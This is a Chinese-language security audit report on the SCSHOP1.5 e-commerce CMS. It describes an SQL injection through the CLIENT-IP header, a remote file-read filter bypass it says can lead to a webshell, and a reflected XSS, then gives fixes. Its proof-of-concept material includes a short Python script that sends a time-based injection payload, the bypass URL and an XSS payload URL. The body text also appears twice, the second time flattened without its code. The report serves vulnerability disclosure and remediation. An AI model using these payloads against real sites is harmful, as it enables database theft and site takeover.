某cms代码审计
字数 996 2025-08-25 22:59:10

SCSHOP1.5 CMS代码审计与漏洞分析报告

1. 系统概述

SCSHOP1.5是一个电子商务CMS系统,本次审计发现多个安全漏洞,包括SQL注入、任意文件读取和XSS漏洞。

2. 代码结构分析

系统主要包含以下核心文件:

  • db_con.php - 数据库配置
  • Ant_Check.php - SQL注入检测
  • Ant_Class.php - 数据操作
  • Ant_Contrl.php - 函数封装
  • class.phpmailer.php - 邮件操作
  • Ant_Config.php - 全局设置
  • Ant_Shop.php - 商品属性设置函数

3. 关键漏洞分析

3.1 SQL注入漏洞

漏洞位置

Core/Program/Ant_Contrl.php中的GetIp函数

漏洞原因

系统仅对GET参数进行了过滤,但未对HTTP头中的CLIENT-IP进行过滤,导致攻击者可控制IP地址参数。

利用点

Search_Data函数使用了GetIp函数返回的IP地址,且未进行过滤。

PoC代码

import requests

url = "http://target.com/Template/Default/File/search.php"
headers = {
    "CLIENT-IP": "'or sleep(3) or'"
}
data = {"search": "1"}
requests.post(url, data=data, headers=headers)

盲注利用脚本

完整的时间盲注脚本已在原文中提供,可逐字符提取数据库信息。

3.2 任意文件读取漏洞

漏洞位置

后台文件操作功能

漏洞原因

系统允许从远程URL读取文件,但未对输入进行充分验证。

绕过限制

使用特殊格式的URL绕过过滤:

url=http://sem-cms.cn@0.0.0.0/index.php

利用效果

可将远程文件内容写入服务器,最终可能导致getshell。

3.3 XSS漏洞

漏洞位置

Ant_M_Delivery.php页面

漏洞类型

反射型XSS

PoC

http://target.com/r20A88_A2M/Ant_M_Delivery.php?page=adadad&aed=a&sortID="<script>alert('XSS')</script>

4. 漏洞修复建议

  1. SQL注入修复

    • 对所有用户输入进行严格过滤,包括HTTP头
    • 使用参数化查询或预处理语句
    • 统一使用框架提供的安全函数获取用户输入
  2. 任意文件读取修复

    • 禁用从远程URL读取文件功能
    • 如需保留该功能,应严格验证URL格式和内容
    • 限制可读取的文件类型和路径
  3. XSS漏洞修复

    • 对所有输出进行HTML实体编码
    • 实施严格的Content Security Policy
    • 使用现代框架的自动转义功能

5. 审计总结

本次审计揭示了SCSHOP1.5 CMS在输入验证和输出处理方面的多个安全问题。最严重的是通过HTTP头注入的SQL注入漏洞,可导致数据库信息泄露。建议开发者全面审查所有用户输入点,实施统一的安全过滤机制,并定期进行安全审计。

SCSHOP1.5 CMS代码审计与漏洞分析报告 1. 系统概述 SCSHOP1.5是一个电子商务CMS系统,本次审计发现多个安全漏洞,包括SQL注入、任意文件读取和XSS漏洞。 2. 代码结构分析 系统主要包含以下核心文件: db_con.php - 数据库配置 Ant_Check.php - SQL注入检测 Ant_Class.php - 数据操作 Ant_Contrl.php - 函数封装 class.phpmailer.php - 邮件操作 Ant_Config.php - 全局设置 Ant_Shop.php - 商品属性设置函数 3. 关键漏洞分析 3.1 SQL注入漏洞 漏洞位置 Core/Program/Ant_Contrl.php 中的 GetIp 函数 漏洞原因 系统仅对GET参数进行了过滤,但未对HTTP头中的 CLIENT-IP 进行过滤,导致攻击者可控制IP地址参数。 利用点 Search_Data 函数使用了 GetIp 函数返回的IP地址,且未进行过滤。 PoC代码 盲注利用脚本 完整的时间盲注脚本已在原文中提供,可逐字符提取数据库信息。 3.2 任意文件读取漏洞 漏洞位置 后台文件操作功能 漏洞原因 系统允许从远程URL读取文件,但未对输入进行充分验证。 绕过限制 使用特殊格式的URL绕过过滤: 利用效果 可将远程文件内容写入服务器,最终可能导致getshell。 3.3 XSS漏洞 漏洞位置 Ant_M_Delivery.php 页面 漏洞类型 反射型XSS PoC 4. 漏洞修复建议 SQL注入修复 : 对所有用户输入进行严格过滤,包括HTTP头 使用参数化查询或预处理语句 统一使用框架提供的安全函数获取用户输入 任意文件读取修复 : 禁用从远程URL读取文件功能 如需保留该功能,应严格验证URL格式和内容 限制可读取的文件类型和路径 XSS漏洞修复 : 对所有输出进行HTML实体编码 实施严格的Content Security Policy 使用现代框架的自动转义功能 5. 审计总结 本次审计揭示了SCSHOP1.5 CMS在输入验证和输出处理方面的多个安全问题。最严重的是通过HTTP头注入的SQL注入漏洞,可导致数据库信息泄露。建议开发者全面审查所有用户输入点,实施统一的安全过滤机制,并定期进行安全审计。